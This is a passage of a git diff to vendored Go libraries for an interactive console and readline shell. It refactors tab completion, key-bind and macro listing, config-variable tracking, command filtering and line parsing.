*cobra.Command, keymap string) { + var binds map[string]inputrc.Bind + + // Apply other filters to our current list of vars. + if cmd.Flags().Changed("changed") { + binds = cfgChanged.Binds[keymap] + } else { + binds = shell.Config.Binds[keymap] + } + + // Get all the commands, used to sort the displays. + commands := make([]string, len(shell.Keymap.Commands())) + for command := range shell.Keymap.Commands() { + commands = append(commands, command) + } + + sort.Strings(commands) + + query, _ := cmd.Flags().GetString("query") + mustMatchQuery := query != "" && cmd.Flags().Changed("query") + + // Make a list of all sequences bound to each command. + allBinds := make(map[string][]string) + + for _, command := range commands { + for key, bind := range binds { + if bind.Action != command { + continue + } + + // If we are querying a specific command + if bind.Action != query && mustMatchQuery { + continue + } + + commandBinds := allBinds[command] + commandBinds = append(commandBinds, inputrc.Escape(key)) + allBinds[command] = commandBinds + } + } + + if len(commands) == 0 { + return + } + + fmt.Fprintln(buf) + fmt.Fprintf(buf, "===== Command Binds (%s) =======\n", keymap) + fmt.Fprintln(buf) + + for _, command := range commands { + commandBinds := allBinds[command] + sort.Strings(commandBinds) + + switch { + case len(commandBinds) == 0: + case len(commandBinds) > 5: + var firstBinds []string + + for i := 0; i < 5; i++ { + firstBinds = append(firstBinds, "\""+commandBinds[i]+"\"") + } + + bindsStr := strings.Join(firstBinds, ", ") + fmt.Fprintf(buf, "%s can be found on %s ...\n", command, bindsStr) + + default: + var firstBinds []string + + for _, bind := range commandBinds { + firstBinds = append(firstBinds, "\""+bind+"\"") + } + + bindsStr := strings.Join(firstBinds, ", ") + fmt.Fprintf(buf, "%s can be found on %s\n", command, bindsStr) + } + } +} + +// listBindsRC prints the bind sequences for a given keymap, +// according to command filter flags, in .inputrc compliant format. +func listBindsRC(shell *readline.Shell, buf *cfgBuilder, cmd *cobra.Command, keymap string) { + var binds map[string]inputrc.Bind + selfInsert, _ := cmd.Flags().GetBool("self-insert") + + // Apply other filters to our current list of vars. + if cmd.Flags().Changed("changed") { + binds = cfgChanged.Binds[keymap] + } else { + binds = shell.Config.Binds[keymap] + } + + if len(binds) == 0 { + return + } + + // Get all the commands, used to sort the displays. + commands := make([]string, len(shell.Keymap.Commands())) + for command := range shell.Keymap.Commands() { + commands = append(commands, command) + } + + sort.Strings(commands) + + // Make a list of all sequences bound to each command. + allBinds := make(map[string][]string) + + for _, command := range commands { + for key, bind := range binds { + if bind.Action != command { + continue + } + + commandBinds := allBinds[command] + commandBinds = append(commandBinds, inputrc.Escape(key)) + allBinds[command] = commandBinds + } + } + + fmt.Fprintln(buf) + fmt.Fprintln(buf, "# Command binds (generated from reeflective/readline)") + fmt.Fprintf(buf, "set keymap %s\n\n", keymap) + + for _, command := range commands { + commandBinds := allBinds[command] + sort.Strings(commandBinds) + + if command == "self-insert" && !selfInsert { + continue + } + + if len(commandBinds) > 0 { + for _, bind := range commandBinds { + fmt.Fprintf(buf, "\"%s\": %s\n", bind, command) + } + } + } +} + +// listMacros prints the recorded/existing macros for a given keymap, in human-readable format. +func listMacros(shell *readline.Shell, buf *cfgBuilder, cmd *cobra.Command, keymap string) { + var binds map[string]inputrc.Bind + + // Apply other filters to our current list of vars. + if cmd.Flags().Changed("changed") { + binds = cfgChanged.Binds[keymap] + } else { + binds = shell.Config.Binds[keymap] + } + + var macroBinds []string + + for keys, bind := range binds { + if bind.Macro { + macroBinds = append(macroBinds, inputrc.Escape(keys)) + } + } + + if len(macroBinds) == 0 { + return + } + + sort.Strings(macroBinds) + + fmt.Fprintln(buf) + fmt.Fprintf(buf, "====== Macros (%s) ======\n", keymap) + fmt.Fprintln(buf) + + for _, key := range macroBinds { + action := inputrc.Escape(binds[inputrc.Unescape(key)].Action) + fmt.Printf("%s outputs %s\n", key, action) + } +} + +// listMacros prints the recorded/existing macros for a given keymap, in .inputrc compliant format. +func listMacrosRC(shell *readline.Shell, buf *cfgBuilder, cmd *cobra.Command, keymap string) { + var binds map[string]inputrc.Bind + + // Apply other filters to our current list of vars. + if cmd.Flags().Changed("changed") { + binds = cfgChanged.Binds[keymap] + } else { + binds = shell.Config.Binds[keymap] + } + + var macroBinds []string + + for keys, bind := range binds { + if bind.Macro { + macroBinds = append(macroBinds, inputrc.Escape(keys)) + } + } + + if len(macroBinds) == 0 { + return + } + + sort.Strings(macroBinds) + + fmt.Fprintln(buf) + fmt.Fprintln(buf, "# Macro binds (generated from reeflective/readline)") + fmt.Fprintf(buf, "set keymap %s\n\n", keymap) + + for _, key := range macroBinds { + action := inputrc.Escape(binds[inputrc.Unescape(key)].Action) + fmt.Fprintf(buf, "\"%s\": \"%s\"\n", key, action) + } +} diff --git a/vendor/github.com/reeflective/console/commands/readline/set.go b/vendor/github.com/reeflective/console/commands/readline/set.go index 92d2739ea2..53c66ad053 100644 --- a/vendor/github.com/reeflective/console/commands/readline/set.go +++ b/vendor/github.com/reeflective/console/commands/readline/set.go @@ -3,13 +3,23 @@ package readline import ( "errors" "strconv" + "strings" - "github.com/reeflective/readline" "github.com/rsteube/carapace" "github.com/rsteube/carapace/pkg/style" "github.com/spf13/cobra" + "golang.org/x/exp/maps" + "golang.org/x/exp/slices" + + "github.com/reeflective/readline" + "github.com/reeflective/readline/inputrc" ) +// We here must assume that all bind changes during the lifetime +// of the binary are all made by a single readline application. +// This config only stores the vars/binds that have been changed. +var cfgChanged = inputrc.NewConfig() + // Set returns a command named `set`, for manipulating readline global options. func Set(shell *readline.Shell) *cobra.Command { cmd := &cobra.Command{ @@ -45,7 +55,11 @@ func Set(shell *readline.Shell) *cobra.Command { } // Set the option. - return shell.Config.Set(args[0], value) + if err = shell.Config.Set(args[0], value); err != nil { + return err + } + + return cfgChanged.Set(args[0], value) }, } @@ -61,11 +75,20 @@ func Set(shell *readline.Shell) *cobra.Command { } argComp := func(c carapace.Context) carapace.Action { - val := c.Args[len(c.Args)-1] + val := strings.TrimSpace(c.Args[len(c.Args)-1]) option := shell.Config.Get(val) if option == nil { - return carapace.ActionValues() + return carapace.ActionMessage("No var named %v", option) + } + + switch val { + case "cursor-style": + return carapace.ActionValues("block", "beam", "underline", "blinking-block", "blinking-underline", "blinking-beam", "default") + case "editing-mode": + return carapace.ActionValues("vi", "emacs") + case "keymap": + return completeKeymaps(shell, cmd) } switch option.(type) { @@ -73,8 +96,8 @@ func Set(shell *readline.Shell) *cobra.Command { return carapace.ActionValues("on", "off", "true", "false").StyleF(style.ForKeyword) case int: return carapace.ActionValues().Usage("option value (int)") - default: - carapace.ActionValues().Usage("option value (string)") + case string: + return carapace.ActionValues().Usage("option value (string)") } return carapace.ActionValues().Usage("option value") @@ -87,3 +110,59 @@ func Set(shell *readline.Shell) *cobra.Command { return cmd } + +// Returns the subset of inputrc variables that are specific +// to this library and application/binary. +func filterAppLibVars(cfgVars map[string]interface{}) map[string]interface{} { + appVars := make(map[string]interface{}) + + defCfg := inputrc.DefaultVars() + defVars := maps.Keys(defCfg) + + for name, val := range cfgVars { + if slices.Contains(defVars, name) { + continue + } + + appVars[name] = val + } + + return appVars +} + +// Returns the subset of inputrc variables that are specific +// to this library and application/binary. +func filterLegacyVars(cfgVars map[string]interface{}) map[string]interface{} { + appVars := make(map[string]interface{}) + + defCfg := inputrc.DefaultVars() + defVars := maps.Keys(defCfg) + + for name, val := range cfgVars { + if !slices.Contains(defVars, name) { + continue + } + + appVars[name] = val + } + + return appVars +} + +// Filters out all configuration variables that have not been changed. +func filterChangedVars(allVars map[string]interface{}) map[string]interface{} { + if allVars == nil { + return cfgChanged.Vars + } + + appVars := make(map[string]interface{}) + defVars := maps.Keys(appVars) + + for name, val := range allVars { + if slices.Contains(defVars, name) { + appVars[name] = val + } + } + + return appVars +} diff --git a/vendor/github.com/reeflective/console/tab-completer.go b/vendor/github.com/reeflective/console/completer.go similarity index 51% rename from vendor/github.com/reeflective/console/tab-completer.go rename to vendor/github.com/reeflective/console/completer.go index 2da490bb65..5d1df57851 100644 --- a/vendor/github.com/reeflective/console/tab-completer.go +++ b/vendor/github.com/reeflective/console/completer.go @@ -5,120 +5,87 @@ import ( "errors" "fmt" "os" + "regexp" "strings" + "unicode" "unicode/utf8" - "github.com/reeflective/readline" "github.com/rsteube/carapace" "github.com/rsteube/carapace/pkg/style" + completer "github.com/rsteube/carapace/pkg/x" "github.com/rsteube/carapace/pkg/xdg" + + "github.com/reeflective/readline" ) func (c *Console) complete(line []rune, pos int) readline.Completions { menu := c.activeMenu() + // Ensure the carapace library is called so that the function + // completer.Complete() variable is correctly initialized before use. + carapace.Gen(menu.Command) + // Split the line as shell words, only using // what the right buffer (up to the cursor) - rbuffer := line[:pos] - args, prefix := splitArgs(rbuffer) - args = sanitizeArgs(rbuffer, args) + args, prefixComp, prefixLine := splitArgs(line, pos) // Prepare arguments for the carapace completer // (we currently need those two dummies for avoiding a panic). - args = append([]string{"examples", "_carapace"}, args...) + args = append([]string{c.name, "_carapace"}, args...) // Call the completer with our current command context. - values, meta := carapace.Complete(menu.Command, args, c.completeCommands(menu)) + completions, err := completer.Complete(menu.Command, args...) - // Tranfer all completion results to our readline shell completions. - raw := make([]readline.Completion, len(values)) + // The completions are never nil: fill out our own object + // with everything it contains, regardless of errors. + raw := make([]readline.Completion, len(completions.Values)) - for idx, val := range values { - value := readline.Completion{ - Value: val.Value, + for idx, val := range completions.Values.Decolor() { + raw[idx] = readline.Completion{ + Value: unescapeValue(prefixComp, prefixLine, val.Value), Display: val.Display, Description: val.Description, Style: val.Style, Tag: val.Tag, } - raw[idx] = value + + if !completions.Nospace.Matches(val.Value) { + raw[idx].Value = val.Value + " " + } } // Assign both completions and command/flags/args usage strings. comps := readline.CompleteRaw(raw) - comps = comps.Usage(meta.Usage) + comps = comps.Usage(completions.Usage) comps = c.justifyCommandComps(comps) - // Suffix matchers for the completions if any. - if meta.Nospace.String() != "" { - comps = comps.NoSpace([]rune(meta.Nospace.String())...) - } - - // If we have a quote/escape sequence unaccounted - // for in our completions, add it to all of them. - if prefix != "" { - comps = comps.Prefix(prefix) - } - - return comps -} - -func splitArgs(line []rune) (args []string, prefix string) { - // Split the line as shellwords, return them if all went fine. - args, remain, err := splitCompWords(string(line)) - if err == nil { - return args, remain - } - - // If we had an error, it's because we have an unterminated quote/escape sequence. - // In this case we split the remainder again, as the completer only ever considers - // words as space-separated chains of characters. - if errors.Is(err, errUnterminatedDoubleQuote) { - remain = strings.Trim(remain, "\"") - prefix = "\"" - } else if errors.Is(err, errUnterminatedSingleQuote) { - remain = strings.Trim(remain, "'") - prefix = "'" + // If any errors arose from the completion call itself. + if err != nil { + comps = readline.CompleteMessage("failed to load config: " + err.Error()) } - args = append(args, strings.Split(remain, " ")...) - - return -} - -func sanitizeArgs(rbuffer []rune, args []string) (sanitized []string) { - // Like in classic system shells, we need to add an empty - // argument if the last character is a space: the args - // returned from the previous call don't account for it. - if strings.HasSuffix(string(rbuffer), " ") || len(args) == 0 { - args = append(args, "") - } else if strings.HasSuffix(string(rbuffer), "\n") { - args = append(args, "") + // Completion status/errors + for _, msg := range completions.Messages.Get() { + comps = comps.Merge(readline.CompleteMessage(msg)) } - if len(args) == 0 { - return + // Suffix matchers for the completions if any. + suffixes, err := completions.Nospace.MarshalJSON() + if len(suffixes) > 0 && err == nil { + comps = comps.NoSpace([]rune(string(suffixes))...) } - sanitized = args[:len(args)-1] - last := args[len(args)-1] - - // The last word should not comprise newlines. - last = strings.ReplaceAll(last, "\n", " ") - last = strings.ReplaceAll(last, "\\ ", " ") - sanitized = append(sanitized, last) - - return sanitized -} + // If we have a quote/escape sequence unaccounted + // for in our completions, add it to all of them. + comps = comps.Prefix(prefixComp) + comps.PREFIX = prefixLine -// Regenerate commands and apply any filters. -func (c *Console) completeCommands(menu *Menu) func() { - commands := func() { - menu.resetCommands() - c.hideFilteredCommands() - } + // Finally, reset our command tree for the next call. + completer.ClearStorage() + menu.resetPreRun() + menu.hideFilteredCommands(menu.Command) - return commands + return comps } func (c *Console) justifyCommandComps(comps readline.Completions) readline.Completions { @@ -163,6 +130,109 @@ func (c *Console) defaultStyleConfig() { style.Set("carapace.FlagOptArg", "bright-white") } +// splitArgs splits the line in valid words, prepares them in various ways before calling +// the completer with them, and also determines which parts of them should be used as +// prefixes, in the completions and/or in the line. +func splitArgs(line []rune, pos int) (args []string, prefixComp, prefixLine string) { + line = line[:pos] + + // Remove all colors from the string + line = []rune(strip(string(line))) + + // Split the line as shellwords, return them if all went fine. + args, remain, err := splitCompWords(string(line)) + + // We might have either no error and args, or no error and + // the cursor ready to complete a new word (last character + // in line is a space). + // In some of those cases we append a single dummy argument + // for the completer to understand we want a new word comp. + mustComplete, args, remain := mustComplete(line, args, remain, err) + if mustComplete { + return sanitizeArgs(args), "", remain + } + + // But the completion candidates themselves might need slightly + // different prefixes, for an optimal completion experience. + arg, prefixComp, prefixLine := adjustQuotedPrefix(remain, err) + + // The remainder is everything following the open charater. + // Pass it as is to the carapace completion engine. + args = append(args, arg) + + return sanitizeArgs(args), prefixComp, prefixLine +} + +func mustComplete(line []rune, args []string, remain string, err error) (bool, []string, string) { + dummyArg := "" + + // Empty command line, complete the root command. + if len(args) == 0 || len(line) == 0 { + return true, append(args, dummyArg), remain + } + + // If we have an error, we must handle it later. + if err != nil { + return false, args, remain + } + + lastChar := line[len(line)-1] + + // No remain and a trailing space means we want to complete + // for the next word, except when this last space was escaped. + if remain == "" && unicode.IsSpace(lastChar) { + if strings.HasSuffix(string(line), "\\ ") { + return true, args, args[len(args)-1] + } + + return true, append(args, dummyArg), remain + } + + // Else there is a character under the cursor, which means we are + // in the middle/at the end of a posentially completed word. + return true, args, remain +} + +func adjustQuotedPrefix(remain string, err error) (arg, comp, line string) { + arg = remain + + switch { + case errors.Is(err, errUnterminatedDoubleQuote): + comp = "\"" + line = comp + arg + case errors.Is(err, errUnterminatedSingleQuote): + comp = "'" + line = comp + arg + case errors.Is(err, errUnterminatedEscape): + arg = strings.ReplaceAll(arg, "\\", "") + } + + return arg, comp, line +} + +// sanitizeArg unescapes a restrained set of characters. +func sanitizeArgs(args []string) (sanitized []string) { + for _, arg := range args { + arg = replacer.Replace(arg) + sanitized = append(sanitized, arg) + } + + return sanitized +} + +// when the completer has returned us some completions, we sometimes +// needed to post-process them a little before passing them to our shell. +func unescapeValue(prefixComp, prefixLine, val string) string { + quoted := strings.HasPrefix(prefixLine, "\"") || + strings.HasPrefix(prefixLine, "'") + + if quoted { + val = strings.ReplaceAll(val, "\\ ", " ") + } + + return val +} + // split has been copied from go-shellquote and slightly modified so as to also // return the remainder when the parsing failed because of an unterminated quote. func splitCompWords(input string) (words []string, remainder string, err error) { @@ -194,8 +264,7 @@ func splitCompWords(input string) (words []string, remainder string, err error) word, input, err = splitCompWord(input, &buf) if err != nil { - remainder = input - return + return words, word + input, err } words = append(words, word) @@ -299,3 +368,18 @@ double: done: return buf.String(), input, nil } + +const ansi = "[\u001B\u009B][[\\]()#;?]*(?:(?:(?:[a-zA-Z\\d]*(?:;[a-zA-Z\\d]*)*)?\u0007)|(?:(?:\\d{1,4}(?:;\\d{0,4})*)?[\\dA-PRZcf-ntqry=><~]))" + +var re = regexp.MustCompile(ansi) + +// strip removes all ANSI escaped color sequences in a string. +func strip(str string) string { + return re.ReplaceAllString(str, "") +} + +var replacer = strings.NewReplacer( + "\n", ` `, + "\t", ` `, + "\\ ", " ", // User-escaped spaces in words. +) diff --git a/vendor/github.com/reeflective/console/console.go b/vendor/github.com/reeflective/console/console.go index ae9898f563..795363ae2f 100644 --- a/vendor/github.com/reeflective/console/console.go +++ b/vendor/github.com/reeflective/console/console.go @@ -81,10 +81,11 @@ func New(app string) *Console { console.shell.History.Add(name, defaultMenu.histories[name]) } - // Command completion, syntax highlighting, multiline callbacks, etc. + // Syntax highlighting, multiline callbacks, etc. console.shell.AcceptMultiline = console.acceptMultiline console.shell.SyntaxHighlighter = console.highlightSyntax + // Completion console.shell.Completer = console.complete console.defaultStyleConfig() @@ -136,11 +137,12 @@ func (c *Console) Menu(name string) *Menu { // that belong to this new menu. If the menu is invalid, i.e that no commands // are bound to this menu name, the current menu is kept. func (c *Console) SwitchMenu(menu string) { - c.mutex.RLock() - defer c.mutex.RUnlock() + c.mutex.Lock() + target, found := c.menus[menu] + c.mutex.Unlock() - // Only switch if the target menu was found. - if target, found := c.menus[menu]; found && target != nil { + if found && target != nil { + // Only switch if the target menu was found. current := c.activeMenu() if current != nil && target == current { return diff --git a/vendor/github.com/reeflective/console/syntax-highlighter.go b/vendor/github.com/reeflective/console/highlighter.go similarity index 94% rename from vendor/github.com/reeflective/console/syntax-highlighter.go rename to vendor/github.com/reeflective/console/highlighter.go index f16b0ffd55..436b7c006b 100644 --- a/vendor/github.com/reeflective/console/syntax-highlighter.go +++ b/vendor/github.com/reeflective/console/highlighter.go @@ -71,7 +71,8 @@ func (c *Console) highlightCommand(done, args []string, _ *cobra.Command) ([]str // Highlight the root command when found, or any of its aliases. for _, cmd := range c.activeMenu().Commands() { - cmdFound := cmd.Use == strings.TrimSpace(args[0]) + // Change 1: Highlight based on first arg in usage rather than the entire usage itself + cmdFound := strings.Split(cmd.Use, " ")[0] == strings.TrimSpace(args[0]) for _, alias := range cmd.Aliases { if alias == strings.TrimSpace(args[0]) { diff --git a/vendor/github.com/reeflective/console/line.go b/vendor/github.com/reeflective/console/line.go index 06408df5d2..d33ce06669 100644 --- a/vendor/github.com/reeflective/console/line.go +++ b/vendor/github.com/reeflective/console/line.go @@ -5,6 +5,9 @@ import ( "errors" "strings" "unicode/utf8" + + "github.com/kballard/go-shellquote" + "mvdan.cc/sh/v3/syntax" ) var ( @@ -21,6 +24,29 @@ var ( errUnterminatedEscape = errors.New("unterminated backslash-escape") ) +// parse is in charge of removing all comments from the input line +// before execution, and if successfully parsed, split into words. +func (c *Console) parse(line string) (args []string, err error) { + lineReader := strings.NewReader(line) + parser := syntax.NewParser(syntax.KeepComments(false)) + + // Parse the shell string a syntax, removing all comments. + stmts, err := parser.Parse(lineReader, "") + if err != nil { + return nil, err + } + + var parsedLine bytes.Buffer + + err = syntax.NewPrinter().Print(&parsedLine, stmts) + if err != nil { + return nil, err + } + + // Split the line into shell words. + return shellquote.Split(parsedLine.String()) +} + // acceptMultiline determines if the line just accepted is complete (in which case // we should execute it), or incomplete (in which case we must read in multiline). func (c *Console) acceptMultiline(line []rune) (accept bool) { diff --git a/vendor/github.com/reeflective/console/menu.go b/vendor/github.com/reeflective/console/menu.go index 27d8412a18..68e9be5d8f 100644 --- a/vendor/github.com/reeflective/console/menu.go +++ b/vendor/github.com/reeflective/console/menu.go @@ -2,12 +2,16 @@ package console import ( "bytes" + "errors" "fmt" + "io" "strings" "sync" + "text/template" - "github.com/reeflective/readline" "github.com/spf13/cobra" + + "github.com/reeflective/readline" ) // Menu - A menu is a simple way to seggregate commands based on @@ -35,6 +39,9 @@ type Menu struct { // Command spawner cmds Commands + // An error template to use to produce errors when a command is unavailable. + errFilteredTemplate string + // History sources peculiar to this menu. historyNames []string histories map[string]readline.History @@ -186,21 +193,114 @@ func (m *Menu) Printf(msg string, args ...any) (n int, err error) { return m.console.Printf(buf) } +// CheckIsAvailable checks if a target command is marked as filtered +// by the console application registered/and or active filters (added +// with console.Hide/ShowCommand()). +// If filtered, returns a template-formatted error message showing the +// list of incompatible filters. If not filtered, no error is returned. +func (m *Menu) CheckIsAvailable(cmd *cobra.Command) error { + if cmd == nil { + return nil + } + + filters := m.ActiveFiltersFor(cmd) + if len(filters) == 0 { + return nil + } + + var bufErr strings.Builder + + err := tmpl(&bufErr, m.errorFilteredCommandTemplate(filters), map[string]interface{}{ + "menu": m, + "cmd": cmd, + "filters": filters, + }) + if err != nil { + return err + } + + return errors.New(bufErr.String()) +} + +// ActiveFiltersFor returns all the active menu filters that a given command +// does not declare as compliant with (added with console.Hide/ShowCommand()). +func (m *Menu) ActiveFiltersFor(cmd *cobra.Command) []string { + if cmd.Annotations == nil { + if cmd.HasParent() { + return m.ActiveFiltersFor(cmd.Parent()) + } + + return nil + } + + m.console.mutex.Lock() + defer m.console.mutex.Unlock() + + // Get the filters on the command + filterStr := cmd.Annotations[CommandFilterKey] + var filters []string + + for _, cmdFilter := range strings.Split(filterStr, ",") { + for _, filter := range m.console.filters { + if cmdFilter != "" && cmdFilter == filter { + filters = append(filters, cmdFilter) + } + } + } + + if len(filters) > 0 || !cmd.HasParent() { + return filters + } + + // Any parent that is hidden make its whole subtree hidden also. + return m.ActiveFiltersFor(cmd.Parent()) +} + +// SetErrFilteredCommandTemplate sets the error template to be used +// when a called command can't be executed because it's mark filtered. +func (m *Menu) SetErrFilteredCommandTemplate(s string) { + m.errFilteredTemplate = s +} + // resetPreRun is called before each new read line loop and before arbitrary RunCommand() calls. // This function is responsible for resetting the menu state to a clean state, regenerating the // menu commands, and ensuring that the correct prompt is bound to the shell. func (m *Menu) resetPreRun() { - m.console.mutex.RLock() - defer m.console.mutex.RUnlock() + m.mutex.Lock() + defer m.mutex.Unlock() + + // Commands + if m.cmds != nil { + m.Command = m.cmds() + } + + if m.Command == nil { + m.Command = &cobra.Command{ + Annotations: make(map[string]string), + } + } + + // Hide commands that are not available + m.hideFilteredCommands(m.Command) // Menu setup - m.resetCommands() // Regenerate the commands for the menu. m.resetCmdOutput() // Reset or adjust any buffered command output. m.prompt.bind(m.console.shell) // Prompt binding +} - // Console-wide setup. - m.console.ensureNoRootRunner() // Avoid printing any help when the command line is empty - m.console.hideFilteredCommands() // Hide commands that are not available +// hide commands that are filtered so that they are not +// shown in the help strings or proposed as completions. +func (m *Menu) hideFilteredCommands(root *cobra.Command) { + for _, cmd := range root.Commands() { + // Don't override commands if they are already hidden + if cmd.Hidden { + continue + } + + if filters := m.ActiveFiltersFor(cmd); len(filters) > 0 { + cmd.Hidden = true + } + } } func (m *Menu) resetCmdOutput() { @@ -217,20 +317,6 @@ func (m *Menu) resetCmdOutput() { m.out.WriteString("\n") } -func (m *Menu) resetCommands() { - if m.cmds != nil { - m.Command = m.cmds() - } - - if m.Command == nil { - m.Command = &cobra.Command{ - Annotations: make(map[string]string), - } - } - - m.SilenceUsage = true -} - func (m *Menu) defaultHistoryName() string { var name string @@ -240,3 +326,24 @@ func (m *Menu) defaultHistoryName() string { return fmt.Sprintf("local history%s", name) } + +func (m *Menu) errorFilteredCommandTemplate(filters []string) string { + if m.errFilteredTemplate != "" { + return m.errFilteredTemplate + } + + return `Command {{.cmd.Name}} is only available for: {{range .filters }} + - {{.}} {{end}}` +} + +// tmpl executes the given template text on data, writing the result to w. +func tmpl(w io.Writer, text string, data interface{}) error { + t := template.New("top") + t.Funcs(templateFuncs) + template.Must(t.Parse(text)) + return t.Execute(w, data) +} + +var templateFuncs = template.FuncMap{ + "trim": strings.TrimSpace, +} diff --git a/vendor/github.com/reeflective/console/run.go b/vendor/github.com/reeflective/console/run.go index eb5b60b9c1..29c6821d90 100644 --- a/vendor/github.com/reeflective/console/run.go +++ b/vendor/github.com/reeflective/console/run.go @@ -37,7 +37,7 @@ func (c *Console) Start() error { c.printed = false - if err := c.runPreReadHooks(); err != nil { + if err := c.runAllE(c.PreReadlineHooks); err != nil { fmt.Printf("Pre-read error: %s\n", err.Error()) continue } @@ -59,10 +59,10 @@ func (c *Console) Start() error { // so we must be sure we use the good one. menu = c.activeMenu() - // Split the line into shell words. - args, err := shellquote.Split(line) + // Parse the line with bash-syntax, removing comments. + args, err := c.parse(line) if err != nil { - fmt.Printf("Line error: %s\n", err.Error()) + fmt.Printf("Parsing error: %s\n", err.Error()) continue } @@ -83,13 +83,31 @@ func (c *Console) Start() error { // the library user is responsible for setting // the cobra behavior. // If it's an interrupt, we take care of it. - c.execute(menu, args, false) + if err := c.execute(menu, args, false); err != nil { + fmt.Println(err) + } } } -// RunCommand is a convenience function to run a command in a given menu. -// After running, the menu commands are reset, and the prompts reloaded. -func (m *Menu) RunCommand(line string) (err error) { +// RunCommandArgs is a convenience function to run a command line in a given menu. +// After running, the menu's commands are reset, and the prompts reloaded, therefore +// mostly mimicking the behavior that is the one of the normal readline/run/readline +// workflow. +// Although state segregation is a priority for this library to be ensured as much +// as possible, you should be cautious when using this function to run commands. +func (m *Menu) RunCommandArgs(args []string) (err error) { + // The menu used and reset is the active menu. + // Prepare its output buffer for the command. + m.resetPreRun() + + // Run the command and associated helpers. + return m.console.execute(m, args, !m.console.isExecuting) +} + +// RunCommandLine is the equivalent of menu.RunCommandArgs(), but accepts +// an unsplit command line to execute. This line is split and processed in +// *sh-compliant form, identically to how lines are in normal console usage. +func (m *Menu) RunCommandLine(line string) (err error) { if len(line) == 0 { return } @@ -100,14 +118,7 @@ func (m *Menu) RunCommand(line string) (err error) { return fmt.Errorf("line error: %w", err) } - // The menu used and reset is the active menu. - // Prepare its output buffer for the command. - m.resetPreRun() - - // Run the command and associated helpers. - m.console.execute(m, args, !m.console.isExecuting) - - return + return m.RunCommandArgs(args) } // execute - The user has entered a command input line, the arguments have been processed: @@ -134,14 +145,14 @@ func (c *Console) execute(menu *Menu, args []string, async bool) (err error) { // Find the target command: if this command is filtered, don't run it. target, _, _ := cmd.Find(args) - if c.isFiltered(target) { - return + + if err = menu.CheckIsAvailable(target); err != nil { + return err } // Console-wide pre-run hooks, cannot. - if err = c.runPreRunHooks(); err != nil { - fmt.Printf("Pre-run error: %s\n", err.Error()) - return + if err = c.runAllE(c.PreCmdRunHooks); err != nil { + return fmt.Errorf("pre-run error: %s", err.Error()) } // Assign those arguments to our parser. @@ -162,7 +173,10 @@ func (c *Console) execute(menu *Menu, args []string, async bool) (err error) { // Wait for the command to finish, or for an OS signal to be caught. select { case <-ctx.Done(): - err = ctx.Err() + if !errors.Is(ctx.Err(), context.Canceled) { + err = ctx.Err() + } + case signal := <-sigchan: cancel(errors.New(signal.String())) menu.handleInterrupt(errors.New(signal.String())) @@ -181,7 +195,7 @@ func (c *Console) executeCommand(cmd *cobra.Command, cancel context.CancelCauseF // And the post-run hooks in the same goroutine, // because they should not be skipped even if // the command is backgrounded by the user. - if err := c.runPostRunHooks(); err != nil { + if err := c.runAllE(c.PostCmdRunHooks); err != nil { cancel(err) return } @@ -190,18 +204,6 @@ func (c *Console) executeCommand(cmd *cobra.Command, cancel context.CancelCauseF cancel(nil) } -// Generally, an empty command entered should just print a new prompt, -// unlike for classic CLI usage when the program will print its usage string. -// We simply remove any RunE from the root command, so that nothing is -// printed/executed by default. Pre/Post runs are still used if any. -func (c *Console) ensureNoRootRunner() { - if c.activeMenu().Command != nil { - c.activeMenu().RunE = func(cmd *cobra.Command, args []string) error { - return nil - } - } -} - func (c *Console) loadActiveHistories() { c.shell.History.Delete() @@ -210,8 +212,8 @@ func (c *Console) loadActiveHistories() { } } -func (c *Console) runPreReadHooks() error { - for _, hook := range c.PreReadlineHooks { +func (c *Console) runAllE(hooks []func() error) error { + for _, hook := range hooks { if err := hook(); err != nil { return err } @@ -235,26 +237,6 @@ func (c *Console) runLineHooks(args []string) ([]string, error) { return processed, nil } -func (c *Console) runPreRunHooks() error { - for _, hook := range c.PreCmdRunHooks { - if err := hook(); err != nil { - return err - } - } - - return nil -} - -func (c *Console) runPostRunHooks() error { - for _, hook := range c.PostCmdRunHooks { - if err := hook(); err != nil { - return err - } - } - - return nil -} - // monitorSignals - Monitor the signals that can be sent to the process // while a command is running. We want to be able to cancel the command. func (c *Console) monitorSignals() <-chan os.Signal { diff --git a/vendor/github.com/reeflective/readline/emacs.go b/vendor/github.com/reeflective/readline/emacs.go index a8d267ebbc..5dfbe148ba 100644 --- a/vendor/github.com/reeflective/readline/emacs.go +++ b/vendor/github.com/reeflective/readline/emacs.go @@ -7,13 +7,14 @@ import ( "strings" "unicode" + "github.com/rivo/uniseg" + "github.com/reeflective/readline/inputrc" "github.com/reeflective/readline/internal/color" "github.com/reeflective/readline/internal/completion" "github.com/reeflective/readline/internal/keymap" "github.com/reeflective/readline/internal/strutil" "github.com/reeflective/readline/internal/term" - "github.com/rivo/uniseg" ) // standardCommands returns all standard/emacs commands. diff --git a/vendor/github.com/reeflective/readline/inputrc/parse.go b/vendor/github.com/reeflective/readline/inputrc/parse.go index 7f2f1d3b3f..429aa128ad 100644 --- a/vendor/github.com/reeflective/readline/inputrc/parse.go +++ b/vendor/github.com/reeflective/readline/inputrc/parse.go @@ -15,6 +15,13 @@ import ( "unicode/utf8" ) +const ( + emacs = "emacs" + hexValNum = 10 + metaSeqLength = 6 + setDirectiveLen = 4 +) + // Parser is a inputrc parser. type Parser struct { haltOnErr bool @@ -32,48 +39,53 @@ type Parser struct { // New creates a new inputrc parser. func New(opts ...Option) *Parser { // build parser state - p := &Parser{ + parser := &Parser{ line: 1, } for _, o := range opts { - o(p) + o(parser) } - return p + + return parser } // Parse parses inputrc data from the reader, passing sets and binding keys to // h based on the configured options. -func (p *Parser) Parse(r io.Reader, h Handler) error { +func (p *Parser) Parse(stream io.Reader, handler Handler) error { var err error // reset parser state - p.keymap, p.line, p.conds, p.errs = "emacs", 1, append(p.conds[:0], true), p.errs[:0] + p.keymap, p.line, p.conds, p.errs = emacs, 1, append(p.conds[:0], true), p.errs[:0] // scan file by lines var line []rune - var i, end int - s := bufio.NewScanner(r) - for ; s.Scan(); p.line++ { - line = []rune(s.Text()) + var pos, end int + scanner := bufio.NewScanner(stream) + + for ; scanner.Scan(); p.line++ { + line = []rune(scanner.Text()) end = len(line) - if i = findNonSpace(line, 0, end); i == end { + + if pos = findNonSpace(line, 0, end); pos == end { continue } // skip blank/comment - switch line[i] { + switch line[pos] { case 0, '\r', '\n', '#': continue } // next - if err = p.next(h, line, i, end); err != nil { + if err = p.next(handler, line, pos, end); err != nil { p.errs = append(p.errs, err) if p.haltOnErr { return err } } } - if err = s.Err(); err != nil { + + if err = scanner.Err(); err != nil { p.errs = append(p.errs, err) return err } + return nil } @@ 